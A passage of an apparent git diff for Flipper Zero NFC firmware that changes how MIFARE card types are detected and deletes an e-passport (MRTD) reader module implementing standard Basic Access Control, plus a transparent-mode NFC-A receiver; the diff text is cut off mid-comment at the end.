MfClassicTypeMini, } MfClassicType; typedef enum { @@ -95,9 +94,9 @@ typedef struct { const char* mf_classic_get_type_str(MfClassicType type); -bool mf_classic_check_card_type(uint8_t ATQA0, uint8_t ATQA1, uint8_t SAK); +bool mf_classic_check_card_type(FuriHalNfcADevData* data); -MfClassicType mf_classic_get_classic_type(uint8_t ATQA0, uint8_t ATQA1, uint8_t SAK); +MfClassicType mf_classic_get_classic_type(FuriHalNfcADevData* data); uint8_t mf_classic_get_total_sectors_num(MfClassicType type); diff --git a/lib/nfc/protocols/mifare_common.c b/lib/nfc/protocols/mifare_common.c index 90b57e1f0..cfb5e0a37 100644 --- a/lib/nfc/protocols/mifare_common.c +++ b/lib/nfc/protocols/mifare_common.c @@ -1,6 +1,10 @@ #include "mifare_common.h" +#include "furi_hal_nfc.h" -MifareType mifare_common_get_type(uint8_t ATQA0, uint8_t ATQA1, uint8_t SAK) { +MifareType mifare_common_get_type(FuriHalNfcADevData* data) { + uint8_t ATQA0 = data->atqa[0]; + uint8_t ATQA1 = data->atqa[1]; + uint8_t SAK = data->sak; MifareType type = MifareTypeUnknown; if((ATQA0 == 0x44) && (ATQA1 == 0x00) && (SAK == 0x00)) { diff --git a/lib/nfc/protocols/mifare_common.h b/lib/nfc/protocols/mifare_common.h index 2b694d906..e60a97bd0 100644 --- a/lib/nfc/protocols/mifare_common.h +++ b/lib/nfc/protocols/mifare_common.h @@ -1,6 +1,7 @@ #pragma once #include +#include "furi_hal_nfc.h" typedef enum { MifareTypeUnknown, @@ -9,4 +10,4 @@ typedef enum { MifareTypeDesfire, } MifareType; -MifareType mifare_common_get_type(uint8_t ATQA0, uint8_t ATQA1, uint8_t SAK); +MifareType mifare_common_get_type(FuriHalNfcADevData* data); diff --git a/lib/nfc/protocols/mifare_desfire.c b/lib/nfc/protocols/mifare_desfire.c index 23308ae95..23fbcd703 100644 --- a/lib/nfc/protocols/mifare_desfire.c +++ b/lib/nfc/protocols/mifare_desfire.c @@ -234,7 +234,11 @@ void mf_df_cat_file(MifareDesfireFile* file, FuriString* out) { } } -bool mf_df_check_card_type(uint8_t ATQA0, uint8_t ATQA1, uint8_t SAK) { +bool mf_df_check_card_type(FuriHalNfcADevData* data) { + uint8_t ATQA0 = data->atqa[0]; + uint8_t ATQA1 = data->atqa[1]; + uint8_t SAK = data->sak; + return ATQA0 == 0x44 && ATQA1 == 0x03 && SAK == 0x20; } diff --git a/lib/nfc/protocols/mifare_desfire.h b/lib/nfc/protocols/mifare_desfire.h index 963a18f58..5a912377d 100644 --- a/lib/nfc/protocols/mifare_desfire.h +++ b/lib/nfc/protocols/mifare_desfire.h @@ -128,7 +128,7 @@ void mf_df_cat_application_info(MifareDesfireApplication* app, FuriString* out); void mf_df_cat_application(MifareDesfireApplication* app, FuriString* out); void mf_df_cat_file(MifareDesfireFile* file, FuriString* out); -bool mf_df_check_card_type(uint8_t ATQA0, uint8_t ATQA1, uint8_t SAK); +bool mf_df_check_card_type(FuriHalNfcADevData* data); uint16_t mf_df_prepare_get_version(uint8_t* dest); bool mf_df_parse_get_version_response(uint8_t* buf, uint16_t len, MifareDesfireVersion* out); diff --git a/lib/nfc/protocols/mifare_ultralight.c b/lib/nfc/protocols/mifare_ultralight.c index 0e28c0074..1cea2c392 100644 --- a/lib/nfc/protocols/mifare_ultralight.c +++ b/lib/nfc/protocols/mifare_ultralight.c @@ -33,11 +33,12 @@ uint32_t mf_ul_pwdgen_amiibo(FuriHalNfcDevData* data) { return pwd; } -bool mf_ul_check_card_type(uint8_t ATQA0, uint8_t ATQA1, uint8_t SAK) { - if((ATQA0 == 0x44) && (ATQA1 == 0x00) && (SAK == 0x00)) { - return true; - } - return false; +bool mf_ul_check_card_type(FuriHalNfcADevData* data) { + uint8_t ATQA0 = data->atqa[0]; + uint8_t ATQA1 = data->atqa[1]; + uint8_t SAK = data->sak; + + return ((ATQA0 == 0x44) && (ATQA1 == 0x00) && (SAK == 0x00)); } void mf_ul_reset(MfUltralightData* data) { diff --git a/lib/nfc/protocols/mifare_ultralight.h b/lib/nfc/protocols/mifare_ultralight.h index 4ab22e89c..9ae9ab463 100644 --- a/lib/nfc/protocols/mifare_ultralight.h +++ b/lib/nfc/protocols/mifare_ultralight.h @@ -200,7 +200,7 @@ typedef struct { void mf_ul_reset(MfUltralightData* data); -bool mf_ul_check_card_type(uint8_t ATQA0, uint8_t ATQA1, uint8_t SAK); +bool mf_ul_check_card_type(FuriHalNfcADevData* data); bool mf_ultralight_read_version( FuriHalNfcTxRxContext* tx_rx, diff --git a/lib/nfc/protocols/mrtd.c b/lib/nfc/protocols/mrtd.c deleted file mode 100644 index e2b3cc4ba..000000000 --- a/lib/nfc/protocols/mrtd.c +++ /dev/null @@ -1,758 +0,0 @@ -#include -#include -#include -#include - -#include "../helpers/iso7816.h" - -#include "mrtd.h" - -#define TAG "Mrtd" - -//TODO: Check EF.DIR first? Before LDS1 -//TODO: ICAO 9303 p11 Β§4.2 steps -//- Read EF.CardAccess (REQUIRED) -// If not available or does not contain PACE params, try BAC -//- Read EF.DIR (OPTIONAL) -// Check list of applications present -//- PACE (CONDITIONAL) -//- BAC (CONDITIONAL) - -//TODO: idea - generalize ISO7816 reading. List available apps - -#define num_elements(A) (sizeof(A) / sizeof(A[0])) - -static const char* mrtd_auth_file_header = "Flipper MRTD params"; -static const uint32_t mrtd_auth_file_version = 1; - -static void hexdump(FuriLogLevel level, char* prefix, void* data, size_t length) { - if(furi_log_get_level() >= level) { - printf("%s ", prefix); - for(size_t i = 0; i < length; i++) { - printf("%02X ", ((uint8_t*)data)[i]); - } - printf("\r\n"); - } -} - -static void mrtd_trace(MrtdApplication* app) { - FuriHalNfcTxRxContext* tx_rx = app->tx_rx; - if(furi_log_get_level() == FuriLogLevelTrace) { - printf("TX: "); - for(size_t i = 0; i < tx_rx->tx_bits / 8; i++) { - printf("%02X ", tx_rx->tx_data[i]); - } - printf("\r\nRX: "); - for(size_t i = 0; i < tx_rx->rx_bits / 8; i++) { - printf("%02X ", tx_rx->rx_data[i]); - } - printf("\r\n"); - } -} - -uint16_t mrtd_decode_response(uint8_t* buffer, size_t len) { - // Last two bytes are return code - return (buffer[len - 2] << 8) | buffer[len - 1]; -} - -//TODO: rename to transceive? -//TODO: PRIO output and output written writing seems to crash flipper, sometimes -bool mrtd_send_apdu( - MrtdApplication* app, - uint8_t cla, - uint8_t ins, - uint8_t p1, - uint8_t p2, - uint8_t lc, - const void* data, - int16_t le, - uint8_t* output, - size_t* output_written) { - FuriHalNfcTxRxContext* tx_rx = app->tx_rx; - size_t idx = 0; - - FURI_LOG_T(TAG, "Send APDU, lc: %d, le: %d", lc, le); - - if(app->secure_messaging) { - app->ssc_long++; - idx = mrtd_protect_apdu( - cla, ins, p1, p2, lc, data, le, app->ksenc, app->ksmac, app->ssc_long, tx_rx->tx_data); - } else { - tx_rx->tx_data[idx++] = cla; - tx_rx->tx_data[idx++] = ins; - tx_rx->tx_data[idx++] = p1; - tx_rx->tx_data[idx++] = p2; - if(lc > 0) { - tx_rx->tx_data[idx++] = lc; - memcpy(tx_rx->tx_data + idx, data, lc); - idx += lc; - } - if(le >= 0) { - tx_rx->tx_data[idx++] = le & 0xff; - } - } - - tx_rx->tx_bits = idx * 8; - tx_rx->tx_rx_type = FuriHalNfcTxRxTypeDefault; - - //TODO: timeout as param? - if(furi_hal_nfc_tx_rx(tx_rx, 300)) { - mrtd_trace(app); - uint16_t ret_code = mrtd_decode_response(tx_rx->rx_data, tx_rx->rx_bits / 8); - - if(app->secure_messaging && ret_code == 0x9000) { - app->ssc_long++; - ret_code = mrtd_bac_decrypt_verify_sm( - tx_rx->rx_data, - tx_rx->rx_bits / 8 - 2, - app->ksenc, - app->ksmac, - app->ssc_long, - output, - output_written); - //ret_code = 0x1337; //TODO: remove PRIO - } - - //TODO: handle other return codes? - if(ret_code == 0x9000) { - if(!app->secure_messaging && le > 0) { - // Secure Messaging sets output while decrypting - output_written = memcpy(output, tx_rx->rx_data, le); - } - return true; - } else { - FURI_LOG_I(TAG, "APDU answer is not 0x9000, but 0x%04X", ret_code); - - switch(ret_code) { - case 0x6987: - FURI_LOG_I(TAG, "'expected secure messaging data objects are missing'"); - app->secure_messaging = false; - break; - case 0x6988: - FURI_LOG_I(TAG, "'secure messaging data objects are incorrect'"); - app->secure_messaging = false; - break; - case 0xff01: - //CUSTOM ERROR CODE from mrtd_helpers.c - FURI_LOG_I(TAG, "'invalid padding'"); - break; - case 0xff02: - //CUSTOM ERROR CODE from mrtd_helpers.c - FURI_LOG_I(TAG, "'verify failed'"); - break; - } - - return false; - } - } else { - FURI_LOG_D(TAG, "Sending - failed"); - } - return false; -} - -//TODO: rename commands to "mrtd_cmd_..." -bool mrtd_select_app(MrtdApplication* app, AIDValue aid) { - FURI_LOG_D( - TAG, - "Send select App: %02X %02X %02X %02X %02X %02X %02X", - aid[0], - aid[1], - aid[2], - aid[3], - aid[4], - aid[5], - aid[6]); - if(!mrtd_send_apdu(app, 0x00, 0xA4, 0x04, 0x0C, 0x07, aid, -1, NULL, NULL)) { - FURI_LOG_W(TAG, "Failed select App"); - return false; - } - return true; -} - -bool mrtd_get_challenge(MrtdApplication* app, uint8_t challenge[8]) { - FURI_LOG_D(TAG, "Send Get Challenge"); - size_t chal_size; - if(!mrtd_send_apdu(app, 0x00, 0x84, 0x00, 0x00, 0x00, NULL, 0x08, challenge, &chal_size)) { - FURI_LOG_W(TAG, "Failed get challenge"); - return false; - } - - return true; -} - -bool mrtd_external_authenticate( - MrtdApplication* app, - uint8_t* cmd_data, - size_t cmd_size, - uint8_t* out_data, - size_t out_size) { - furi_assert(cmd_size == 0x28); - furi_assert(out_size >= 0x28); - - FURI_LOG_D(TAG, "Send External Authenticate"); - if(!mrtd_send_apdu( - app, 0x00, 0x82, 0x00, 0x00, cmd_size, cmd_data, 0x28, out_data, &out_size)) { - FURI_LOG_W(TAG, "Failed External Authenticate"); - return false; - } - - return true; -} - -bool mrtd_select_file(MrtdApplication* app, EFFile file) { - uint8_t data[] = {file.file_id >> 8, file.file_id & 0xff}; - FURI_LOG_D(TAG, "Send select EF: %s (0x%04X)", file.name, file.file_id); - if(!mrtd_send_apdu(app, 0x00, 0xA4, 0x02, 0x0C, 0x02, data, -1, NULL, NULL)) { - FURI_LOG_E(TAG, "Failed select EF 0x%04X", file.file_id); - return false; - } - - return true; -} - -size_t mrtd_read_binary(MrtdApplication* app, uint8_t* buffer, size_t bufsize, size_t offset) { - UNUSED(buffer); - UNUSED(bufsize); - // 00 B0 offst - - FURI_LOG_D(TAG, "Read binary, offset: %d", offset); - //TODO: read first 4 bytes, determine length, iterate through file - //TODO: limit reading/buffer fill to max bufsize - - //TODO: test with max_read = bufsize (value !0, > file size) - int16_t max_read = 0; // 0 = 'everything', -1 = 'nothing', >0 = amount of bytes - size_t buf_written = 0; - if(!mrtd_send_apdu( - app, 0x00, 0xB0, offset >> 8, offset & 0xff, 0x00, NULL, max_read, buffer, &buf_written)) { - FURI_LOG_E(TAG, "Failed to read"); - return 0; - } - FURI_LOG_D(TAG, "buf_written: %d\n", buf_written); - - return buf_written; -} - -//TODO: use short id to read, because it's mandatory for eMRTD -//TODO: check for support of extended length in EF.ATR/INFO, see ISO7816-4 - -void mrtd_read_dump(MrtdApplication* app, EFFile file) { - FURI_LOG_D(TAG, "Read and dump %s:", file.name); - - if(!mrtd_select_file(app, file)) { - return; - } - - uint8_t data[2048]; - size_t read = 0; - size_t offset = 0; - do { - read = mrtd_read_binary(app, data, sizeof(data), offset); - offset += read; - - hexdump(FuriLogLevelDebug, "Data:", data, read); - } while(read > 0); -} - -bool parse_ef_dir(EF_DIR_contents* EF_DIR, const uint8_t* data, size_t length) { - size_t offset = 0; - uint8_t app_idx = 0; - - memset(EF_DIR->applications, 0x00, sizeof(EF_DIR->applications)); - EF_DIR->applications_count = 0; - - while(offset < length) { - TlvInfo tlv = iso7816_tlv_parse(data + offset); - - if(tlv.tag != 0x61 || tlv.length != 0x09) { - FURI_LOG_E( - TAG, - "Invalid EF.DIR, tag at offset %d must be '61' and length 9. Got '%02X' and %d", - offset, - tlv.tag, - tlv.length); - return false; - } - - tlv = iso7816_tlv_parse(tlv.value); - if(tlv.tag != 0x4F || tlv.length != 0x07) { - FURI_LOG_E( - TAG, "Invalid EF.DIR, subtag at offset %d must be '4F' and length 7", offset); - return false; - } - - memcpy(EF_DIR->applications[app_idx], tlv.value, tlv.length); - EF_DIR->applications_count = ++app_idx; - - offset = tlv.next - data; - } - - //TODO: remove testing block: - FURI_LOG_D(TAG, "EF.DIR applications: %d", EF_DIR->applications_count); - if(furi_log_get_level() >= FuriLogLevelDebug) { - for(uint8_t i = 0; i < EF_DIR->applications_count; ++i) { - printf("- "); - for(uint8_t n = 0; n < sizeof(AIDValue); ++n) { - printf("%02X ", EF_DIR->applications[i][n]); - } - printf("\r\n"); - } - } - - return true; -} - -bool parse_ef_com(EF_COM_contents* EF_COM, const uint8_t* data, size_t length) { - uint16_t lds_tag_path[] = {0x60, 0x5f01}; - uint16_t unicode_tag_path[] = {0x60, 0x5f36}; - uint16_t tags_tag_path[] = {0x60, 0x5c}; - - TlvInfo tlv_lds_version = - iso7816_tlv_select(data, length, lds_tag_path, num_elements(lds_tag_path)); - if(!tlv_lds_version.tag) { - FURI_LOG_W(TAG, "EF.COM LDS version not found"); - return false; - } - - EF_COM->lds_version = tlv_number(tlv_lds_version); - - TlvInfo tlv_unicode_version = - iso7816_tlv_select(data, length, unicode_tag_path, num_elements(unicode_tag_path)); - if(!tlv_unicode_version.tag) { - FURI_LOG_W(TAG, "EF.COM Unicode info not found!"); - return false; - } - - EF_COM->unicode_version = tlv_number(tlv_unicode_version); - - TlvInfo tlv_tag_list = - iso7816_tlv_select(data, length, tags_tag_path, num_elements(tags_tag_path)); - if(!tlv_tag_list.tag) { - FURI_LOG_W(TAG, "EF.CO Tag List not found!"); - return false; - } - - for(size_t i = 0; i < MAX_EFCOM_TAGS; ++i) { - EF_COM->tag_list[i] = (i < tlv_tag_list.length) ? tlv_tag_list.value[i] : 0x00; - } - - return true; -} - -void mrzcpy(uint8_t* dest, const uint8_t* src, size_t* idx, size_t n) { - //FURI_LOG_D(TAG, "mrzcpy %d: %.*s", n, n, src + *idx); - //memcpy(dest, src + *idx, n); - for(size_t i = 0; i < n; ++i) { - uint8_t c = src[i + *idx]; - if(c == '<') { - c = ' '; - } - dest[i] = c; - } - dest[n] = 0x00; - *idx += n; -} - -bool parse_ef_dg1(EF_DG1_contents* DG1, const uint8_t* data, size_t length) { - TlvInfo tlv_mrz = iso7816_tlv_select(data, length, (uint16_t[]){0x61, 0x5f1f}, 2); - - if(!tlv_mrz.tag) { - FURI_LOG_W(TAG, "DG1, unexpected content. Could not find tag 0x61, 0x5f1f"); - return false; - } - - const uint8_t* mrz = tlv_mrz.value; - size_t idx = 0; - - switch(tlv_mrz.length) { - case 90: - DG1->type = MrtdTypeTD1; - mrzcpy(DG1->doctype, mrz, &idx, 2); - mrzcpy(DG1->issuing_state, mrz, &idx, 3); - mrzcpy(DG1->docnr, mrz, &idx, 9); - idx += 1; // docnr check digit - idx += 15; // optional data - mrtd_parse_date(&DG1->birth_date, mrz + idx); - idx += 6; // birth_date - idx += 1; // birth date check digit - mrzcpy(DG1->sex, mrz, &idx, 1); - mrtd_parse_date(&DG1->expiry_date, mrz + idx); - idx += 6; // expiry_date - idx += 1; // expiry date check digit - mrzcpy(DG1->nationality, mrz, &idx, 3); - idx += 11; // optional data - idx += 1; // check digit - mrzcpy(DG1->name, mrz, &idx, 30); - // 30 + 30 + 30 - break; - case 72: - DG1->type = MrtdTypeTD2; - mrzcpy(DG1->doctype, mrz, &idx, 2); - mrzcpy(DG1->issuing_state, mrz, &idx, 3); - mrzcpy(DG1->name, mrz, &idx, 31); - mrzcpy(DG1->docnr, mrz, &idx, 9); - idx += 1; // docnr check digit - mrzcpy(DG1->nationality, mrz, &idx, 3); - mrtd_parse_date(&DG1->birth_date, mrz + idx); - idx += 6; // birth_date - idx += 1; // birth date check digit - mrzcpy(DG1->sex, mrz, &idx, 1); - mrtd_parse_date(&DG1->expiry_date, mrz + idx); - idx += 6; // expiry_date - idx += 1; // expiry date check digit - idx += 7; // optional data - idx += 1; // check digit - // 36 + 36 - break; - case 88: - DG1->type = MrtdTypeTD3; - mrzcpy(DG1->doctype, mrz, &idx, 2); - mrzcpy(DG1->issuing_state, mrz, &idx, 3); - mrzcpy(DG1->name, mrz, &idx, 39); - mrzcpy(DG1->docnr, mrz, &idx, 9); - idx += 1; // docnr check digit - mrzcpy(DG1->nationality, mrz, &idx, 3); - mrtd_parse_date(&DG1->birth_date, mrz + idx); - idx += 1; // birth date check digit - idx += 6; // birth_date - mrzcpy(DG1->sex, mrz, &idx, 1); - mrtd_parse_date(&DG1->expiry_date, mrz + idx); - idx += 6; // expiry_date - idx += 1; // expiry date check digit - idx += 14; // optional data - idx += 1; // check digit - idx += 1; // check digit - // 44 + 44 - break; - default: - FURI_LOG_W( - TAG, "Unexpected MRZ length in DG1: %d. TD1=90, TD2=72, TD3=88.", tlv_mrz.length); - return false; - } - - return true; -} - -bool mrtd_read_parse_file(MrtdApplication* app, EFFile file) { - uint8_t buffer[100]; - size_t buf_len; - - FURI_LOG_D(TAG, "Read and parse %s (%04X)", file.name, file.file_id); - - if(!mrtd_select_file(app, file)) { - FURI_LOG_E(TAG, "Could not select %s", file.name); - return false; - } - - FURI_LOG_D(TAG, "Selected %s", file.name); - - buf_len = mrtd_read_binary(app, buffer, num_elements(buffer), 0); - - if(!buf_len) { - FURI_LOG_E(TAG, "Could not read %s", file.name); - return false; - } - - FURI_LOG_D(TAG, "Read %s", file.name); - - bool result = false; - - if(file.file_id == EF.COM.file_id) { - result = parse_ef_com(&app->mrtd_data->files.EF_COM, buffer, buf_len); - FURI_LOG_D(TAG, "Parsed EF.COM"); - } else if(file.file_id == EF.DIR.file_id) { - result = parse_ef_dir(&app->mrtd_data->files.EF_DIR, buffer, buf_len); - FURI_LOG_D(TAG, "Parsed EF.DIR"); - } else if(file.file_id == EF.DG1.file_id) { - result = parse_ef_dg1(&app->mrtd_data->files.DG1, buffer, buf_len); - } else { - FURI_LOG_W(TAG, "Don't know how to parse file with id 0x%04X", file.file_id); - } - - return result; -} - -MrtdApplication* mrtd_alloc_init(FuriHalNfcTxRxContext* tx_rx, MrtdData* mrtd_data) { - MrtdApplication* app = malloc(sizeof(MrtdApplication)); - - app->tx_rx = tx_rx; - app->mrtd_data = mrtd_data; - - return app; -} - -void mrtd_free(MrtdApplication* app) { - furi_assert(app); - free(app); -} - -bool mrtd_bac(MrtdApplication* app, MrtdAuthData* auth) { - UNUSED(app); - - static bool rand_generator_inited = false; - uint8_t rnd_ic[8]; - uint8_t rnd_ifd[8]; - uint8_t k_ifd[16]; - - if(!rand_generator_inited) { - // TODO: should random initialization maybe be system wide? - srand(DWT->CYCCNT); - rand_generator_inited = true; - } - - mrtd_get_challenge(app, rnd_ic); - //TODO: remove memcpy rnd_ic - //memcpy(rnd_ic, "\x46\x08\xF9\x19\x88\x70\x22\x12", 8); - - furi_hal_random_fill_buf(rnd_ifd, 8); - furi_hal_random_fill_buf(k_ifd, 16); - //TODO: remove testing code: - //memcpy(rnd_ifd, "\x78\x17\x23\x86\x0C\x06\xC2\x26", 8); - //memcpy(k_ifd, "\x0B\x79\x52\x40\xCB\x70\x49\xB0\x1C\x19\xB3\x3E\x32\x80\x4F\x0B", 16); - - hexdump(FuriLogLevelDebug, "rnd_ifd:", rnd_ifd, 8); - hexdump(FuriLogLevelDebug, "k_ifd:", k_ifd, 16); - - uint8_t kenc[16]; - uint8_t kmac[16]; - - if(!mrtd_bac_keys(auth, kenc, kmac)) { - FURI_LOG_E(TAG, "Failed to calculate BAC keys"); - return false; - } - - uint8_t S[32]; - memcpy(S, rnd_ifd, 8); - memcpy(S + 8, rnd_ic, 8); - memcpy(S + 16, k_ifd, 16); - - hexdump(FuriLogLevelDebug, "S:", S, 32); - - uint8_t cmd_data[40]; - uint8_t* eifd = cmd_data; - uint8_t* mifd = cmd_data + 32; - mrtd_bac_encrypt(S, 32, kenc, eifd); - mrtd_bac_padded_mac(eifd, 32, kmac, mifd); - - uint8_t response[40]; - if(!mrtd_external_authenticate(app, cmd_data, 40, response, 40)) { - FURI_LOG_E(TAG, "BAC External Authenticate failed"); - return false; - } - - uint8_t buffer[32]; // Received R = RND.IC (8) || RND.IFD (8) || KIC (16) - if(!mrtd_bac_decrypt_verify(response, 40, kenc, kmac, buffer)) { - FURI_LOG_W(TAG, "BAC DecryptVerify failed"); - } - - uint8_t* rnd_ifd_recv = buffer + 8; - uint8_t* kic = buffer + 16; - - hexdump(FuriLogLevelDebug, "kic:", kic, 16); - - if(memcmp(rnd_ifd, rnd_ifd_recv, 8)) { - FURI_LOG_W(TAG, "BAC RND.IFD sent and received mismatch."); - } - - uint8_t kseed[16]; - for(uint8_t i = 0; i < 16; ++i) { - kseed[i] = k_ifd[i] ^ kic[i]; - //printf("seed %2d = %02X ^ %02X = %02X\r\n", i, k_ifd[i], kic[i], kseed[i]); - } - - hexdump(FuriLogLevelDebug, "kseed:", kseed, 16); - - if(!mrtd_bac_keys_from_seed(kseed, app->ksenc, app->ksmac)) { - FURI_LOG_E(TAG, "BAC error, could not derive KSenc and KSmac"); - return false; - } - hexdump(FuriLogLevelDebug, "ksenc:", app->ksenc, 16); - hexdump(FuriLogLevelDebug, "ksmac:", app->ksmac, 16); - - hexdump(FuriLogLevelTrace, "RND.IC:", rnd_ic, 8); - hexdump(FuriLogLevelTrace, "RND.IFS:", rnd_ifd, 8); - - app->ssc_long = mrtd_ssc_from_data(rnd_ic, rnd_ifd); - FURI_LOG_D(TAG, "SSC: %01llX", app->ssc_long); - - app->secure_messaging = true; - - return true; -} - -bool mrtd_authenticate(MrtdApplication* app) { - MrtdAuthMethod method = app->mrtd_data->auth.method; - app->mrtd_data->auth_success = false; - app->mrtd_data->auth_method_used = MrtdAuthMethodNone; - FURI_LOG_D(TAG, "Auth method: %d", method); - switch(method) { - case MrtdAuthMethodAny: - //TODO: try PACE, then BAC. For now, fall through to just BAC - case MrtdAuthMethodBac: - app->mrtd_data->auth_success = mrtd_bac(app, &app->mrtd_data->auth); - app->mrtd_data->auth_method_used = MrtdAuthMethodBac; - break; - case MrtdAuthMethodPace: - FURI_LOG_E(TAG, "Auth method PACE not implemented"); - break; - case MrtdAuthMethodNone: - default: - break; - } - - if(!app->mrtd_data->auth_success) { - return false; - } - - return true; -} - -bool mrtd_auth_params_save( - Storage* storage, - DialogsApp* dialogs, - MrtdAuthData* auth_data, - const char* file_name) { - return mrtd_auth_params_save_file( - storage, dialogs, auth_data, file_name, MRTD_APP_FOLDER, MRTD_APP_EXTENSION); -} - -void mrtd_date_prepare_format_string(MrtdDate date, FuriString* format_string) { - furi_string_printf(format_string, "%02u%02u%02u", date.year, date.month, date.day); -} - -bool mrtd_date_parse_format_string(MrtdDate* date, FuriString* format_string) { - int year; - int month; - int day; - - int ret = sscanf(furi_string_get_cstr(format_string), "%02d%02d%02d", &year, &month, &day); - if(ret != 3) { - return false; - } - - date->year = year; - date->month = month; - date->day = day; - return true; -} - -bool mrtd_auth_params_save_file( - Storage* storage, - DialogsApp* dialogs, - MrtdAuthData* auth_data, - const char* file_name, - const char* folder, - const char* extension) { - furi_assert(auth_data); - - bool saved = false; - FlipperFormat* file = flipper_format_file_alloc(storage); - FuriString* temp_str; - temp_str = furi_string_alloc(); - - do { - // Create mrtd directory if necessary - if(!storage_simply_mkdir(storage, MRTD_APP_FOLDER)) break; - - furi_string_printf(temp_str, "%s/%s%s", folder, file_name, extension); - - // Open file - if(!flipper_format_file_open_always(file, furi_string_get_cstr(temp_str))) break; - // Write header - if(!flipper_format_write_header_cstr(file, mrtd_auth_file_header, mrtd_auth_file_version)) - break; - - // Write auth method - furi_string_set(temp_str, mrtd_auth_method_string(auth_data->method)); - if(!flipper_format_write_string(file, "Method", temp_str)) break; - - // Write birth date - mrtd_date_prepare_format_string(auth_data->birth_date, temp_str); - if(!flipper_format_write_string(file, "BirthDate", temp_str)) break; - - // Write expiry date - mrtd_date_prepare_format_string(auth_data->expiry_date, temp_str); - if(!flipper_format_write_string(file, "ExpiryDate", temp_str)) break; - - // Write docnr - furi_string_set(temp_str, auth_data->doc_number); - if(!flipper_format_write_string(file, "DocNr", temp_str)) break; - - saved = true; - } while(false); - - if(!saved) { - dialog_message_show_storage_error(dialogs, "Can not save\nparams file"); - } - furi_string_free(temp_str); - flipper_format_free(file); - return saved; -} - -bool mrtd_auth_params_load( - Storage* storage, - DialogsApp* dialogs, - MrtdAuthData* auth_data, - const char* file_path, - bool show_dialog) { - furi_assert(storage); - furi_assert(dialogs); - furi_assert(auth_data); - furi_assert(file_path); - - bool parsed = false; - FlipperFormat* file = flipper_format_file_alloc(storage); - bool deprecated_version = false; - - FuriString* temp_str; - temp_str = furi_string_alloc(); - - MrtdAuthData copy; - - FURI_LOG_D(TAG, "Load auth params"); - - do { - if(!flipper_format_file_open_existing(file, file_path)) break; - - uint32_t version = 0; - if(!flipper_format_read_header(file, temp_str, &version)) break; - FURI_LOG_D(TAG, "Version: %s", furi_string_get_cstr(temp_str)); - if(furi_string_cmp_str(temp_str, mrtd_auth_file_header) || - (version != mrtd_auth_file_version)) { - deprecated_version = true; - break; - } - - if(!flipper_format_read_string(file, "Method", temp_str)) break; - FURI_LOG_D(TAG, "Method: %s", furi_string_get_cstr(temp_str)); - if(!mrtd_auth_method_parse_string(©.method, furi_string_get_cstr(temp_str))) break; - - if(!flipper_format_read_string(file, "BirthDate", temp_str)) break; - FURI_LOG_D(TAG, "BirthDate: %s", furi_string_get_cstr(temp_str)); - if(!mrtd_date_parse_format_string(©.birth_date, temp_str)) break; - - if(!flipper_format_read_string(file, "ExpiryDate", temp_str)) break; - FURI_LOG_D(TAG, "ExpiryDate: %s", furi_string_get_cstr(temp_str)); - if(!mrtd_date_parse_format_string(©.expiry_date, temp_str)) break; - - if(!flipper_format_read_string(file, "DocNr", temp_str)) break; - FURI_LOG_D(TAG, "DocNr: %s", furi_string_get_cstr(temp_str)); - strlcpy(copy.doc_number, furi_string_get_cstr(temp_str), MRTD_DOCNR_MAX_LENGTH); - - // Everything went fine. Save copy to pointed auth data - *auth_data = copy; - parsed = true; - } while(false); - - FURI_LOG_D(TAG, "Load done, success: %d", parsed); - - if(!parsed && show_dialog) { - if(deprecated_version) { - dialog_message_show_storage_error(dialogs, "File format deprecated"); - } else { - dialog_message_show_storage_error(dialogs, "Can not parse\nfile"); - } - } - - furi_string_free(temp_str); - flipper_format_free(file); - return parsed; -} diff --git a/lib/nfc/protocols/mrtd.h b/lib/nfc/protocols/mrtd.h deleted file mode 100644 index 2d43ed450..000000000 --- a/lib/nfc/protocols/mrtd.h +++ /dev/null @@ -1,44 +0,0 @@ -#pragma once - -#include -#include - -#define MRTD_APP_FOLDER "/any/nfc/mrtd" -#define MRTD_APP_EXTENSION ".mrtd" - -typedef struct { - FuriHalNfcTxRxContext* tx_rx; - MrtdData* mrtd_data; - uint16_t file_offset; - uint8_t ksenc[16]; - uint8_t ksmac[16]; - uint64_t ssc_long; // TODO: rename without _long - - bool secure_messaging; -} MrtdApplication; - -//TODO: description -MrtdApplication* mrtd_alloc_init(FuriHalNfcTxRxContext* tx_rx, MrtdData* mrtd_data); -bool mrtd_select_app(MrtdApplication* app, AIDValue aid); -bool mrtd_authenticate(MrtdApplication* app); -bool mrtd_read_parse_file(MrtdApplication* app, EFFile file); - -bool mrtd_auth_params_save( - Storage* storage, - DialogsApp* dialogs, - MrtdAuthData* auth_data, - const char* file_name); -bool mrtd_auth_params_save_file( - Storage* storage, - DialogsApp* dialogs, - MrtdAuthData* auth_data, - const char* file_name, - const char* folder, - const char* extension); - -bool mrtd_auth_params_load( - Storage* storage, - DialogsApp* dialogs, - MrtdAuthData* auth_data, - const char* file_path, - bool show_dialog); diff --git a/lib/nfc/protocols/nfca_trans_rx.c b/lib/nfc/protocols/nfca_trans_rx.c deleted file mode 100644 index 28737fa2d..000000000 --- a/lib/nfc/protocols/nfca_trans_rx.c +++ /dev/null @@ -1,169 +0,0 @@ -#include -#include - -#include -#include -#include -#include -#include -#include -#include -#include - -#include "nfca_trans_rx.h" - -#define TAG "NfcA-trans-rx" - -void nfca_trans_rx_init(NfcaTransRxState* state) { - FURI_LOG_D(TAG, "Starting NfcA transparent rx"); - - st25r3916ExecuteCommand(ST25R3916_CMD_STOP); - st25r3916WriteRegister(ST25R3916_REG_OP_CONTROL, 0xC3); - st25r3916WriteRegister(ST25R3916_REG_MODE, 0x88); - st25r3916ExecuteCommand(ST25R3916_CMD_TRANSPARENT_MODE); - - furi_hal_spi_bus_handle_deinit(&furi_hal_spi_bus_handle_nfc); - - /* allocate a 512 edge buffer, more than enough */ - state->reader_signal = pulse_reader_alloc(&gpio_spi_r_miso, 512); - /* timebase shall be 1 ns */ - pulse_reader_set_timebase(state->reader_signal, PulseReaderUnitNanosecond); - - pulse_reader_start(state->reader_signal); - - /* set start values */ - state->bits_received = 0; - state->have_sof = false; - state->valid_frame = false; -} - -void nfca_trans_rx_deinit(NfcaTransRxState* state) { - furi_hal_spi_bus_handle_init(&furi_hal_spi_bus_handle_nfc); - pulse_reader_free(state->reader_signal); -} - -void nfca_trans_rx_pause(NfcaTransRxState* state) { - pulse_reader_stop(state->reader_signal); -} - -void nfca_trans_rx_continue(NfcaTransRxState* state) { - pulse_reader_start(state->reader_signal); -} - -static void nfca_bit_received(NfcaTransRxState* state, uint8_t bit) { - /* According to ISO14443-3 short frames have 7 bits and standard 9 bits per byte, - 